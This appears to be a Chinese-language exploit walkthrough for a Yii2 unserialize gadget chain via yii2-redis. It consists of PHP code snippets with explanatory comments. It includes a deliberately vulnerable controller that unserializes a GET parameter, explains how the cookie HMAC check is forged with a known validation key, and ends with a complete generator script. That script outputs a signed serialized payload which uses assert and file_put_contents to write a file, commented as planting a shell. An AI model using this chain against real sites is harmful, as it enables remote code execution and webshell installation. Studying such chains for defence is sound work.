<?php

$vendorDir = dirname(__DIR__);

return array (
    'yiisoft/yii2/redis' =>
        array (
            'name' => 'yiisoft/yii2/redis',
            'version' => '2.0.6',
            'alias' =>
                array (
                    '@yii/redis' => $vendorDir . '/yiisoft/yii2/redis',
                ),
        ),
  'yiisoft/yii2-swiftmailer' => 
  array (
    'name' => 'yiisoft/yii2-swiftmailer',
    'version' => '2.0.7.0',
    'alias' => 
    array (
      '@yii/swiftmailer' => $vendorDir . '/yiisoft/yii2-swiftmailer',
    ),
  ),
  //..........这里就不贴了加在前面就好
);

<?php

namespace app\controllers;

use yii\web\Controller;

class TestController extends Controller
{
    private $_events = ["beforeAction"=>"0"];
    public function actionIndex()
    {
        $un = $_GET["un"];
        $a = unserialize($un);
        return "poc";
    }

    public function actionPhp()
    {
        echo "php";
    }
}

public function close()
{
    $this->_statement->closeCursor();
    $this->_closed = true;
}

public function __call($name, $params)
    {
        $redisCommand = strtoupper(Inflector::camel2words($name, false));
        if (in_array($redisCommand, $this->redisCommands)) {
            return $this->executeCommand($redisCommand, $params);
        } else {
            return parent::__call($name, $params);
        }
    }

public static function camel2words($name, $ucwords = true)
    {
        $label = strtolower(trim(str_replace([
            '-',
            '_',
            '.',
        ], ' ', preg_replace('/(?<![A-Z])[A-Z]/', ' \0', $name))));

        return $ucwords ? ucwords($label) : $label;
    }
//$name=closeCursor, $ucwords=fasle;
//先正则匹配前面不为大写字母的，替换为 \0，php里面\0好像不会吧字符吃掉，会变成close Cursor
//没有需要替换和去除左右空格
//全小写得到close cursor，false直接返回

protected function initConnection()
    {
        $this->trigger(self::EVENT_AFTER_OPEN);
    }
//    const EVENT_AFTER_OPEN = 'afterOpen';

$this->_events = ["afterOpen" => [[[new CreateAction(), "run"], "run"]]];

public function getCsrfToken($regenerate)
{
	if (($this->_csrfToken === web\null) || $regenerate) {
		if ($regenerate || (($token = $this->loadCsrfToken()) === web\null)) {
			$token = $this->generateCsrfToken();
		}

		$this->_csrfToken = Yii::$app->security->maskToken($token);
	}

	return $this->_csrfToken;
}

protected function loadCsrfToken()
{
	if ($this->enableCsrfCookie) {
		return $this->getCookies()->getValue($this->csrfParam);
	}

	return Yii::$app->getSession()->get($this->csrfParam);
}

public function getCookies()
{
	if ($this->_cookies === web\null) {
		$this->_cookies = new web\CookieCollection($this->loadCookies(), array("readOnly" => web\true));
	}

	return $this->_cookies;
}

 public function validateData($data, $key, $rawHash = false)
 {
     $test = @hash_hmac($this->macHash, '', '', $rawHash);
     //$this->macHash="sha256"
     //随意加密一串hash因为长度是一样的，这个就是用来得到长度截取的Cookie用的，加密方式为sha256
     if (!$test) {
         throw new InvalidConfigException('Failed to generate HMAC with hash algorithm: ' . $this->macHash);
     }
     $hashLength = StringHelper::byteLength($test);
     //得到hash的长度
     if (StringHelper::byteLength($data) >= $hashLength) {
         //如果完整的Cookie的值长度大于等于hash的长度走到这里
         $hash = StringHelper::byteSubstr($data, 0, $hashLength);
         //这里是截取Cookie的里的hash
         $pureData = StringHelper::byteSubstr($data, $hashLength, null);
//这里是截取序列化的值
         $calculatedHash = hash_hmac($this->macHash, $pureData, $key, $rawHash);
//将序列化的值sha256加密，$key值为cookieValidationKey，也就是上面提到过的tdide2
         if ($this->compareString($hash, $calculatedHash)) {
             //这是个对比的函数，对比截取到的hash和上一条语句加密的hash是否相同，相同返回序列化的内容，不同返回false
             return $pureData;
         }
     }

     return false;
 }

<?php

namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct()
        {
            $this->checkAccess = "assert";
            $this->id = "file_put_contents('a.php','TONGDA')";
            //代码执行写shell
        }
    }
}

namespace yii\base{

    use yii\rest\CreateAction;
    class Component{
        private $_events = [];
        
        public function __construct()
        {
             $this->_events = ["afterOpen" => [[[new CreateAction(), "run"], "run"]]];
            //使用CreateAction的run函数
        }
    }
}


namespace yii\redis{
    use yii\base\Component;
    class Connection extends Component{
        public $redisCommands;
        public $database = null;
        public $port = 0;
        private $_socket = false;

        public function __construct()
        {
            $this->redisCommands = ["CLOSE CURSOR"];
            //绕过__call内判断
            $this->database = null;
            //正常情况database=0
            //要改为null不然在open里面会走进判断，dataTimeout和password本身就为null所以不用设置
            $this->port = 80;
            //这里需要修改为可以访问的端口，靶机里面80是开放的所以就写80了，按实际情况改
            parent::__construct();
            //上面说到过Component里面有_events，调用父类构造函数将Component的_events赋值

        }
    }
}




namespace yii\db{

    use yii\redis\Connection;
    class DataReader{
        private $_statement;

        public function __construct()
        {
            $this->_statement = new Connection();
            //调用Connection内的__call方法
        }
    }
    class BatchQueryResult{
        private $_dataReader;

        public function __construct()
        {
            $this->_dataReader = new DataReader();
            //去找close方法
        }
    }
}


namespace {
    use yii\db\BatchQueryResult;
    $data = serialize(new BatchQueryResult());
    $crypt = hash_hmac("sha256",$data,"tdide2",false);
    $data = urlencode($data);
    $payload = $crypt . $data;
    echo $payload;
}